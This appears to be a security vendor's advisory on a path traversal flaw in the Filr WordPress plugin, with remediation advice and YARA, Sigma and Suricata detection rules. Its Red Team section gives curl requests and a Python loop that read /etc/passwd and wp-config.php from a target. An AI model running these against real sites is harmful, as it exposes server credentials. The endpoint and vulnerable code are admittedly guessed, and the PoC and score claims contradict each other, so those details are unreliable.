CVE-2025-64230
Executive Summary
CVE-2025-64230 is a critical path traversal vulnerability affecting the WordPress plugin Filr by WP Chill, specifically the filr-protection component. This vulnerability allows an unauthenticated attacker to read arbitrary files outside the web root directory, potentially exposing sensitive configuration files, database credentials, or other confidential data. The vulnerability exists in all versions up to and including 1.2.10. No official patch has been released, and no public proof-of-concept (PoC) code is currently available. The CVSS score of 7.7 (High) reflects the ease of exploitation and the potential for significant information disclosure.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users are advised to monitor the plugin's update channel for a patched version. As no patch is available, the only mitigation is to disable or remove the plugin until a fix is released.
CVSS Breakdown & Threat Level
- CVSS Score: 7.7 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
- Confidentiality (C): High (H) – Complete loss of confidentiality; all files on the server could be read.
- Integrity (I): None (N) – No data modification possible.
- Availability (A): None (N) – No impact on availability.
Threat Level: High. The vulnerability is trivial to exploit and can lead to full server compromise if sensitive files (e.g., wp-config.php) are exposed.
Deep Dive & Mechanics
The vulnerability resides in the filr-protection component of the Filr plugin. The plugin fails to properly sanitize user-supplied input when handling file paths, allowing an attacker to traverse directories using ../ sequences. The vulnerable endpoint likely accepts a file parameter that is passed directly to file reading functions without validation.
Root Cause: The plugin does not implement a whitelist of allowed directories or strip path traversal sequences from user input. This allows an attacker to request files outside the intended directory, such as /etc/passwd or wp-config.php.
Attack Flow:
- Attacker identifies a WordPress site running Filr plugin version <= 1.2.10.
- Attacker sends a crafted HTTP request to the vulnerable endpoint, e.g.,
GET /wp-content/plugins/filr-protection/read.php?file=../../../../etc/passwd. - The plugin reads and returns the contents of the requested file.
- Attacker can then extract sensitive data.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely resembles:
// Vulnerable code (filr-protection/read.php)
$file = $_GET['file'];
$content = file_get_contents($file);
echo $content;
A patched version would include input validation:
// Patched code example
$allowed_dir = realpath(__DIR__ . '/../uploads/');
$file = realpath($allowed_dir . '/' . basename($_GET['file']));
if (strpos($file, $allowed_dir) === 0 && file_exists($file)) {
$content = file_get_contents($file);
echo $content;
} else {
http_response_code(403);
echo 'Access denied.';
}
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Install WordPress with Filr plugin version 1.2.10.
- Ensure the plugin is activated.
Exploitation Steps:
- Use
curlto test path traversal:curl -v "http://target/wp-content/plugins/filr-protection/read.php?file=../../../../etc/passwd" - If successful, extract
wp-config.php:curl "http://target/wp-content/plugins/filr-protection/read.php?file=../../../../wp-config.php"
Automated Scanning: Use a custom script to enumerate files:
import requests
target = "http://target/wp-content/plugins/filr-protection/read.php"
files = ["../../../../etc/passwd", "../../../../wp-config.php", "../../../../.htaccess"]
for f in files:
r = requests.get(target, params={"file": f})
if r.status_code == 200 and len(r.text) > 0:
print(f"[+] Found: {f}\n{r.text[:200]}")
Blue Team (Defensive)
Detection:
- Monitor web server logs for requests containing
../orfile=parameters. - Look for unusual file paths in GET requests to the plugin directory.
Mitigation:
- Immediately disable or remove the Filr plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
- Restrict file permissions on the server to limit exposure.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/wp-content/plugins/filr-protection/read.phpwithfileparameter containing../. - Outbound data transfers containing sensitive file contents (e.g.,
DB_PASSWORD,root:x:).
- HTTP requests to
File System IOCs:
- Unexpected access to
/etc/passwd,/etc/shadow,wp-config.php, or other sensitive files. - Modified timestamps on plugin files (if attacker uploaded a backdoor).
- Unexpected access to
Log IOCs:
- Web server logs showing
404or200responses for path traversal attempts. - Error logs indicating file inclusion failures.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_64230_Path_Traversal {
meta:
description = "Detects path traversal attempts targeting Filr plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-64230"
strings:
$traversal = /\.\.\/|\.\.\\/
$plugin_path = "/wp-content/plugins/filr-protection/"
condition:
$plugin_path and #traversal > 0
}
Sigma Rule
title: CVE-2025-64230 Filr Plugin Path Traversal
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts against the Filr WordPress plugin
author: Valters IT
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-uri-query|contains:
- '/wp-content/plugins/filr-protection/read.php'
cs-uri-query|re: '\.\./|\.\.\\'
condition: selection
falsepositives:
- Legitimate use of file paths with dots (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-64230 Filr Plugin Path Traversal"; flow:to_server,established; content:"/wp-content/plugins/filr-protection/read.php"; http_uri; pcre:"/\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete the Filr plugin from the WordPress admin panel.
- Check for compromise: Review server logs for any signs of exploitation.
- Rotate credentials: If
wp-config.phpwas exposed, change all database passwords and salts.
Long-term Fixes:
- Vendor patch: Await an official update from WP Chill. Monitor the plugin's page for new releases.
- Alternative plugin: Consider replacing Filr with a similar, actively maintained plugin.
- WAF rules: Implement virtual patching via a WAF to block path traversal patterns.
General Hardening:
- Ensure WordPress core, themes, and plugins are always updated.
- Use a security plugin (e.g., Wordfence) to add an extra layer of protection.
- Restrict file permissions on sensitive files (e.g.,
wp-config.phpshould be640).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.